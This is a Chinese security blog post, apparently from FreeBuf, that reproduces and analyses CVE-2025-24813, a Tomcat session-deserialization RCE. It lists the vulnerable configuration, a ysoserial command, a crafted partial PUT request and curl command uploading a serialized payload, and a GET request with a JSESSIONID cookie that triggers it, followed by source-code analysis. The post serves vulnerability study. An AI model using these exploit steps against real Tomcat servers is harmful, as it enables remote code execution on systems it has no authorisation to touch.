freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2025-24813 RCE复现
肖恩 2025-03-19 11:30:24 76244
所属地 山西省

CVE-2025-24813 RCE复现

免责声明:本文只用作技术分析和学习,任何利用本文内容进行非法攻击的行为均与作者无关!!!

漏洞简介

漏洞描述

Apache Tomcat在特定配置下,存在反序列化漏洞。

攻击者通过构造恶意的请求,利用特定配置 文件会话持久机制将恶意序列化数据写入服务器中,并在后续请求中触发反序列化操作,从而导致远程代码的执行

漏洞通报细节如下

https://blog.nsfocus.net/cve-2025-24813/

影响范围

该漏洞影响范围如下

  • 9.0.0.M1 <= Apache Tomcat <= 9.0.98

  • 10.1.0-M1 <= Apache Tomcat <= 10.1.34

  • 11.0.0-M1 <= Apache Tomcat <= 11.0.2

漏洞利用条件

  1. DefaultServlet 写入功能启用:需要在web.xml中配置readonly=false

  2. PartialPUT请求支持:tomcat中默认支持分块上传

  3. 文件会话持久化启用:在 context.xml 中配置 PersistentManager 和 FileStore

  4. 存在反序列化的利用链:需要包含漏洞的库(这里使用commons-collections-3.2.1.jar)

漏洞原理

  1. Tomcat中文件会话持久化技术,Content-Range在Tomcat的HTTP PUT请求中主要实现用于大文件的分块传输,在文件上传未完成的情况下,会被临时储存在Tomcat的工作目录下CATALINA_BASE/work/Catalina/localhost/ROOT

  2. 漏洞核心在于:对不完整的PUT请求上传的文件名处理机制:文件路径中的分隔符/会被转化为.。例如:对于PUT请求的路径/evil/session会被解析为.evil.session

  3. Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT,在Cookie中带有JSESSIONID字段时,Tomcat会将该字段中的.id.session拼接,并从会话存储路径中寻找文件名为.id.session的文件,对该文件的内容进行反序列化操作,从而触发攻击链

漏洞利用过程

  1. 当存在反序列化利用链时,上传包含恶意的序列化数据文件(临时存储在CATALINA_BASE/work/Catalina/localhost/ROOT

  2. 通过设置JSESSIONID=.xxxx来触发漏洞(位置也在CATALINA_BASE/work/Catalina/localhost/ROOT

漏洞复现

环境搭建

  • Tomcat-9.0.98

  • JDK8u65

Tomcat环境参考P神知识星球《用Intellij Idea调试Tomcat.pdf》

若师傅们可以自行搭建环境,可以跳过该部分QAQ

Maven

创建好的目录大概如下

Tomcat


TomCat下载:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/

我们需要下载以下这两个安装包(后续都会有用的)

接下来我们需要导入依赖,这里将我们前面下载的Tomcat里所有的依赖直接添加到我们项目中

找到下载的Tomcat下的lib包,将所有jar文件导入点击确定

为了后面的源码调试和防止源码调试过程中的反编译字节码与源码对于不上,我们还需要做两个操作

  1. 将src源码下的java文件夹导入

  1. 将deployer下lib文件夹中的tomcat-juli.jar导入,并点击确定,这步我们就完成了

在我们刚刚创建好的项目处,配置我们的Tomcat环境

接下来我们创建Tomcat启动程序

并且创建好Tomcat启动程序后,我们要进行配置

我们可以看到,在部署下是没有任何东西的,我们需要点击修复(fix),选择exploded

其中这里的目录可以随意

后续还有一个步骤才算完成,我们去Tomcat的bin目录下的catalina.bat文件中添加这么一段话(IDEA配置Tomcat工作目录好像是在C盘下IDEA中的一个地方,而我们需要设置CATALINA_BASE在Tomcat下)

set "CATALINA_BASE=F:\java\apache-tomcat-9.0.98"

点击运行后,我们可以看到我们的Tomcat就配置好了,且CATALINA_BASE也正常

为了满足漏洞环境,我们还需要去Tomcat中去修改一些配置

在Tomcat下conf目录中的context.xml中,加入以下配置

<Manager className="org.apache.catalina.session.PersistentManager">
      <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

在同文件夹下的web.xml中,设置readonly为false(若配置文件中没有则自己添加)

<servlet>
  <servlet-name>default</servlet-name>
  <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
  <init-param>
      <param-name>readonly</param-name>
      <param-value>false</param-value>
  </init-param>
</servlet>

这样我们的漏洞环境就配置好了

漏洞实现

现在我们来用已有的POC,简单复现一下这个漏洞

我们用ysoserial去生成一个CC6的恶意序列化数据

java -jar ysoserial.jar CommonsCollections6 "Calc" > payload.ser

用PUT请求去上传,数据包如下

我们需要注意的是Range的分块值需要与Length保持一致,且大于当前文件的长度。

PUT /evil/session HTTP/1.1
Host: 192.168.131.32:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{反序列化文件内容)}}

这里可以使用curl命令,效果也是一样的

curl -X PUT -H "Content-Range: bytes 0-999/1200" --data-binary @payload.ser http://target:8080/evil/session

然后我们就可以看到,在ROOT目录下,存在了一个.evil.session文件,里面存放着我们的恶意序列化数据

然后我们需要用以下数据包,去触发我们恶意序列化数据的反序列化操作

GET / HTTP/1.1
Host: 192.168.131.32:8080
Cookie: JSESSIONID=.evil

发送数据包后即可弹出计算器(另一个发现是,在一段时间后,他会自动去触发该payload,并且清空我们所上传的.evil.session文件)

源码分析

该漏洞实现存在两个点

  1. 能够上传包含有恶意内容且构造混淆文件名的恶意文件

  2. session文件的默认存储点正好位于当前Context的临时文件夹下,在处理cookie时中JSESSIONID时会对ROOT目录下id.session的文件进行反序列化操作

两者本身根据都没有很大问题,但是合在一起就构成了RCE漏洞(很有魅力了网安)

临时文件创建源码分析

漏洞存在在DefaultServletdoPut方法,里面存在一个executePartialPut方法,是些临时文件的函数

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  //判断readOnly配置,只有其设为false是,我们才能走到this.executePartialPut中
  if (this.readOnly) {
          this.sendNotAllowed(req, resp);
      } else {
          String path = this.getRelativePath(req);
          WebResource resource = this.resources.getResource(path);
          Range range = this.parseContentRange(req, resp);
          if (range != null) {
              InputStream resourceInputStream = null;

              try {
                  if (range == IGNORE) {
                      resourceInputStream = req.getInputStream();
                  } else {
                      File contentFile = this.executePartialPut(req, range, path);
                      resourceInputStream = new FileInputStream(contentFile);
                  }

                  if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                      if (resource.exists()) {
                          resp.setStatus(204);
                      } else {
                          resp.setStatus(201);
                      }
                  } else {
                      try {
                          resp.sendError(409);
                      } catch (IllegalStateException var15) {
                      }
                  }
              }......
          }
      }
  }

通过调试,想要走入我们的executePartialPut方法,就要设置一个合法的Content-Range,若不设置,就会走入if判断中

我们继续走进executePartialPut方法中,我在代码中写入了一些注释分析

protected File executePartialPut(HttpServletRequest req, Range range, String path) throws IOException {
//tempDir默认值为CATALINA_BASE\work\Catalina\localhost\ROOT
File tempDir = (File)this.getServletContext().getAttribute("javax.servlet.context.tempdir");

//将文件path中的/转换为.
String convertedResourcePath = path.replace('/', '.');
File contentFile = new File(tempDir, convertedResourcePath);
if (contentFile.createNewFile()) {
//在 Tomcat 终止时清理 contentFile
contentFile.deleteOnExit();
}

RandomAccessFile randAccessContentFile = new RandomAccessFile(contentFile, "rw");

try {
WebResource oldResource = this.resources.getResource(path);
//判断是否为文件
if (oldResource.isFile()) {
BufferedInputStream bufOldRevStream = new BufferedInputStream(oldResource.getInputStream(), 4096);

try {
byte[] copyBuffer = new byte[4096];

int numBytesRead;
while((numBytesRead = bufOldRevStream.read(copyBuffer)) != -1) {
randAccessContentFile.write(copyBuffer, 0, numBytesRead);
}
} catch (Throwable var17) {
try {
bufOldRevStream.close();
} catch (Throwable var16) {
var17.addSuppressed(var16);
}

throw var17;
}

bufOldRevStream.close();
}

randAccessContentFile.setLength(range.length);
randAccessContentFile.seek(range.start);
byte[] transferBuffer = new byte[4096];
BufferedInputStream requestBufInStream = new BufferedInputStream(req.getInputStream(), 4096);

int numBytesRead;
try {
while((numBytesRead = requestBufInStream.read(transferBuffer)) != -1) {
//向文件中写入内容
randAccessContentFile.write(transferBuffer, 0, numBytesRead);
}
} catch (Throwable var18) {
try {
requestBufInStream.close();
} catch (Throwable var15) {
var18.addSuppressed(var15);
}

throw var18;
}

requestBufInStream.close();
} catch (Throwable var19) {
try {
randAccessContentFile.close();
} catch (Throwable var14) {
var19.addSuppressed(var14);
}

throw var19;
}

randAccessContentFile.close();
return contentFile;
}

大概就是,将一个path中的/替换为.后当作文件名,然后写入到工作目录下的ROOT路径下的.evil.session

当走到return contentFile时,我们的恶意文件已经写好了

触发反序列化源码分析

下断点后,我们可以看到,调用流程如下,我们从比较重要的load方法开始分析

这个触发点在FileStore中的load方法

@Override
public Session load(String id) throws ClassNotFoundException, IOException {
// Open an input stream to the specified pathname, if any
File file = file(id);
if (file == null || !file.exists()) {
return null;
}

Context context = getManager().getContext();
Log contextLog = context.getLogger();

if (contextLog.isTraceEnabled()) {
contextLog.trace(sm.getString(getStoreName() + ".loading", id, file.getAbsolutePath()));
}

ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null);

try (FileInputStream fis = new FileInputStream(file.getAbsolutePath());
ObjectInputStream ois = getObjectInputStream(fis)) {

StandardSession session = (StandardSession) manager.createEmptySession();
session.readObjectData(ois);
session.setManager(manager);
return session;
} catch (FileNotFoundException e) {
if (contextLog.isDebugEnabled()) {
contextLog.debug(sm.getString("fileStore.noFile", id, file.getAbsolutePath()));
}
return null;
} finally {
context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
}
}

我们看到file方法中,这里会接受到我们Cookie中的id,然后与.session拼接起来,然后将文件名为.evil.session的File类型的属性返回回去

返回后,会将文件的内容以流的方式去读出来,然后放到StandardSession.readObjectData中去进行反序列化操作

进入readObjectData的调用流程如下,最后调用readObject反序列化,触发我们构造的CC6链

session.readObjectData(ois);

public void readObjectData(ObjectInputStream stream) throws ClassNotFoundException, IOException {

doReadObject(stream);

}

protected void doReadObject(ObjectInputStream stream) throws ClassNotFoundException, IOException {
......
creationTime = ((Long) stream.readObject()).longValue();
......
}

成功弹出计算器

小结

漏洞触发的流程如下

  1. 攻击者通过partialPut方法向临时文件存放的文件夹下写入带有恶意反序列化数据的文件(这个临时文件夹也是session临时存放的文件夹),利用替换机制(/替换为.)构造一个符合session文件名称标准的文件

  2. 在Cookie中带上JSESSIONID=.evil,tomcat会从session临时存放的位置中,寻找.id.session文件,将文件中的数据进行反序列化操作,从而触发恶意攻击链

结语

最近在学java安全,看到学长发出来的新漏洞,就想着调试分析一下,也是拖了好几天哈哈哈哈,分析下来,感觉整个流程很容易理解,但是发现感觉是很难了QAQ

如果在文章中存在一些错误的地方,望大佬们指正,我是小白轻点喷>_<

# 漏洞复现 # CVE漏洞
本文为 肖恩 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
肖恩 LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 3 关注者
文章目录